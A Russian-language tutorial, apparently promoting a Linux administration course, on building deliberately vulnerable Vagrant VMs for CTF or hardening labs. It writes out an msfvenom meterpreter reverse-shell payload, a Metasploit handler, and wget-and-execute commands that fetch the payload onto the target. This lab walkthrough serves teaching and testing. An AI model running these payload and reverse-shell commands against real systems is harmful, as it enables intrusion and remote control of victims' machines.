Для будущих студентов курса "Administrator Linux.Basic" и всех интересующихся темой подготовили статью, автором которой является Александр Колесников.
Приглашаем всех желающих записаться на открытый вебинар «Iptables».
Статья расскажет о нестандартном подходе для использования системы конфигурации виртуальных сред. Будет показан процесс создания уязвимой версии виртуальной машины Linux для проведения соревнований CTF или для практики по hardening операционных систем.
Система конфигурирования
Для примера создания уже настроенной виртуальной машины будем использовать Vagrant. Это очень простой инструмент, который позволяет настраивать операционные системы в среде виртуализации. Долгое время система работала только с VirtualBox, но сейчас появилась поддержка VMWare и даже систем контейнеризации таких как Docker и LXC.
Почему нужно использовать систему автоматических конфигураций? Ведь проще собрать весь необходимый софт в одном месте, затем потратить пару дней на его установку и настройку, и после этого можно пользоваться ОС. Ответ прост — настройка любой операционной системы это длительный и однообразный процесс. Поэтому если его можно автоматизировать, то стоит это сделать и тратить остальное время на изучение дополнительного материала о администрировании и работе операционных систем.
Концепция работы системы Vagrant заключается в том, что можно создать базовый образ операционной системы и затем его использовать для более тонкой конфигурации. Такие «готовые» операционные системы называются box. Они могут быть найдены в специальном каталоге, где их выкладывают другие пользователи Vagrant. (Стоит помнить, что в них может быть потенциально установлено что угодно, включая вредоносное ПО). Так как под все задачи образ не подготовить, то документация системы говорит о том, что если установка компонентов, которые нужно разворачивать в виртуальной машине очень сложна в настройке и долгое время загружаются, то стоит их добавить сразу в box. Если же тонкая настройка может быть запущена и будет занимать некритичное время, то можно использовать скрипт, который будет всё выполнять на старте системы.
Попробуем воспользоваться системой Vagrant для настройки уязвимых версий Linux.
Уязвимые хосты
Для тестов будет использоваться версия Vagrant 2.2.15. Устанавливать Vargant рекомендуется именно с его официального сайта. Потому что те версии Vagrant, которые можно найти в репозиториях и поставках ОС, могут не содержать всех необходимых зависимостей. На нашем стенде отдельно была установлена среда виртуализации VirtualBox 6.1.
Задача создания виртуальной машины, которая будет содержать какую-то уязвимость достаточно нетривиальна. Каждый раз при создании таких «специальных» машин требуется:
Выбрать уязвимость
Найти публичное описание уязвимости
Найти для публичной уязвимости набор инструментов для её обнаружения и тестирования
С первым пунктом всё может пройти достаточно гладко. Так как есть базы данных, которые содержат информацию о существующих уязвимостях, но второй и третий пункт может никогда и не найти решение для отдельно взятой уязвимости. Потому что либо не будет никакого описания уязвимости, либо никто не будет публиковать инструменты. В нашем эксперименте пойдем от противного — попробуем взять уязвимость, которая может быть проэксплуатирована фреймворком Metasploit и попытаемся проанализировав скрипт эксплойта, создать под него уязвимую Linux систему.
Выбор скрипта и его анализ
Скрипт будем выбирать из версии Metasploit 6.0.22-dev. Нам не нужно иметь последнюю версию так как там не так быстро появляются эксплойты. Чтобы найти необходимый скрипт нужно запустить консоль управления фреймворком:
msfconsole -q
И задать фильтр для списка всех имеющихся скриптов с эксплойтами:
search debian
Немного пролистав результат возьмем скрипт — exploit/linux/local/ntfs3g_priv_esc
. Как галсит описание этого скрипта, он проводит эскалацию привилегий в уязвимых системах Debian/Ubuntu. Чтобы поработать с ним и выяснить какая версия ОС нам нужна, откроем скрипт на редактирование:
use exploit/linux/local/ntfs3g_priv_esc
edit
Структура модулей эксплойтов в фреймворке достаточна проста — каждая команда из консоли управления имеет одноименную функцию, которая описана внутри скрипта. Например exploit:
Ни один эксплойт в Metasploit начиная с версии 6.0 не будет работать, если не проверит уязвима ли система к конкретному эксплойту. Поэтому будет достаточно пролистать на место, где описан алгоритм работы функции "check". Немного ниже мы её и находим:
Теперь у нас есть все версии ОС, которые нужны, перейдем к этапу сборки виртуальной машины.
Сборка
Как было уже описано ранее, Vagrant работает на основе box объектов, которые представляют собой базовую ОС и некоторое количество софта. Обычно только ОС, но всё зависит от того, что нужно администратору. Попробуем найти нужный box в каталоге. Как гласит функция проверки, нам нужен box, ubuntu 16.04/16.10 или Debian 7/8. Уязвимое ПО будет стоять в системе по умолчанию. Стоит так же учесть, что данная версия эксплойта будет работать, только если уже есть доступ к любому пользователю внутри системы.
Для теста возьмем 2 box:
Процедура установки каждого из них достаточно проста. Для каждого из них создаем свою директорию и запускаем команды в соответствующих директориях. Для первого:
vagrant init wyeworks/ubuntu-16.10 && vagrant up && vagrant halt
Для второго:
vagrant init generic/ubuntu1610 && vagrant up && vagrant halt
После работы этих команд необходимо открыть интерфейс VBox, в самом низу списка машин появятся 2 машины с рандомным именем. Это и есть развернутые системы. Для того чтобы теперь можно было довести опыт до конца. Изменим сетевой адаптер с "NAT" на "Host-Only". Подключим к этой сети машину с Metasploit. Далее проводим такую операцию для тестов:
Создаем meterpreter для настройки взаимодействия с уязвимыми системами:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=9999 -f elf -o testVagrant
Запускаем слушателя на машине с Metasploit, команды вводить в консоли управления
msf
:use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.103 set LPORT 9999 exploit -j
Доставим файл
testVagrant
:
python3 -m http.server 9090
Загрузим файл на уязвимую систему:
wget http://192.168.1.103:9090/testVagrant
Запустим файл на второй машине:
chmod +x ./testVagrant && ./testVagrant
Получаем соединение:
Похоже, что система неуязвима из-за того что удален уязвимый модуль. Попробуем запустить всё тоже самое на первой машине:
Бинго — уязвимая система найдена, можно использовать box для развертывания уязвимых стендов. Таким образом потратив всего лишь 15 минут можно настроить большое количество виртуальных машин и найти нужную с необходимыми характеристиками. А если бы настройка происходила из установочного образа, можно было бы потратить весь день.
Узнать подробнее о курсе "Administrator Linux.Basic" .
Смотреть открытый вебинар «Iptables».